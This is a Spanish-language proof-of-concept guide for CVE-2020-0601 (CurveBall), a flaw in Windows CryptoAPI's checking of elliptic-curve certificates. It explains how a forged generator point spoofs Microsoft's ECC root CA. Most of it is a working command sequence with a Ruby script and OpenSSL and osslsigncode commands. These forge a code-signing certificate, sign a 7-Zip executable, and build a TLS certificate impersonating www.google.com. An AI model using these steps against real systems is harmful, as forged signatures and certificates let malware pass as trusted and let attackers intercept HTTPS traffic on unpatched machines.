
Prueba de concepto para CVE-2020-0601 - CryptoAPI de Windows (Crypt32.dll)
CVE-2020-0601, comúnmente conocido como CurveBall, es una vulnerabilidad en la que la firma de certificados que utilizan criptografía de curva elíptica (ECC) no se verifica correctamente.
ECC depende de diferentes parámetros. Estos parámetros están estandarizados para muchas curvas. Sin embargo, Microsoft no verificaba todos estos parámetros. El parámetro G (el generador) no se verificaba, y el atacante puede proporcionar su propio generador, de modo que cuando Microsoft intenta validar el certificado contra una CA de confianza, solo busca claves públicas coincidentes y luego utiliza el generador del certificado. La NSA explica el impacto de esta vulnerabilidad y más aquí.
MicrosoftECCProductRootCertificateAuthority.cer es, por defecto, una autoridad de certificación (CA) raíz de confianza que utiliza ECC en Windows 10. Por lo tanto, cualquier cosa firmada con este certificado será automáticamente confiable.
Requisitos mínimos
openssl 1.1.0
ruby 2.4.0
Si estás interesado en los detalles matemáticos de la vulnerabilidad, lee más aquí.
Para falsificar el certificado, establecemos los siguientes parámetros:
d' = 1
G' = Q
De modo que Q = Q' = d'G'.
Crea un certificado con la misma clave pública y parámetros de una CA de confianza. Este se usará como nuestra CA falsificada. Establece el generador en un valor del que conozcas la clave privada. Puedes establecer fácilmente el generador como la clave pública y tener una clave privada establecida en 1, ya que Q = dG.
A continuación, crea una solicitud de firma de certificado con las extensiones que desees utilizar, por ejemplo, firma de código o autenticación de servidor.
Firma esta solicitud de certificado con tu CA falsificada y la clave de la CA, y agrega las extensiones de uso.
Agrupa la solicitud de certificado firmada (ahora un certificado regular) con la CA falsificada, y tendrás un certificado firmado y de confianza.
Cuando Windows verifica si el certificado es confiable, verá que ha sido firmado por nuestra CA falsificada. Luego mira la clave pública de la CA falsificada para compararla con las CA de confianza. Después simplemente verifica la firma de nuestra CA falsificada con el generador de la CA falsificada; este es el problema.
Si decides abrir tu nuevo certificado firmado y de confianza en Windows, no lo reconocerá como confiable, ya que no ha sido vinculado a nada, por lo tanto no usará la CA falsificada. El certificado siempre debe presentarse junto con la CA falsificada.
Por favor, utiliza esto solo con fines educativos y de investigación.
Extrae la clave pública de la CA y modifícala según la vulnerabilidad:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Genera un nuevo certificado x509 basado en esta clave. Este será nuestra propia CA falsificada.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Genera una nueva clave. Esta clave puede ser de cualquier tipo que desees. Se usará para crear un certificado de firma de código, que firmaremos con nuestra propia CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
A continuación, crea una nueva solicitud de firma de certificado (CSR). Esta solicitud a menudo se envía a CA de confianza, pero como tenemos una falsificada, podemos firmarla nosotros mismos.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Firma tu nueva CSR con nuestra CA falsificada y la clave de la CA. Este certificado expirará en 2047, mientras que la CA de Microsoft real de confianza expirará en 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Lo único que queda es empaquetar el certificado, su clave y la CA falsificada en un archivo PKCS12 para firmar ejecutables.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Firma tu ejecutable con el archivo PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
Por favor, utiliza esto solo con fines educativos y de investigación. Extrae la clave pública de la CA y modifícala según la vulnerabilidad:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Genera un nuevo certificado x509 basado en esta clave. Este será nuestra propia CA falsificada.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Genera una nueva clave. Esta clave puede ser de cualquier tipo que desees. Se usará para crear un certificado SSL, que firmaremos con nuestra propia CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
A continuación, crea una nueva solicitud de firma de certificado (CSR). Esta solicitud a menudo se envía a CA de confianza, pero como tenemos una falsificada, podemos firmarla nosotros mismos.
Si deseas cambiar el nombre de dominio, edita CN = www.google.com a CN = www.example.com dentro de openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
Firma tu nueva CSR con nuestra CA falsificada y la clave de la CA. Este certificado expirará en 2047, mientras que la CA de Microsoft real de confianza expirará en 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
Ahora puedes usar cert.crt, cert.key y spoofed_ca.crt para servir tu contenido. Nuevamente, recuerda agregar spoofed_ca.crt como una cadena de certificados en la configuración HTTPS de tu servidor.
Consulta el ejemplo de uso en tls/index.js.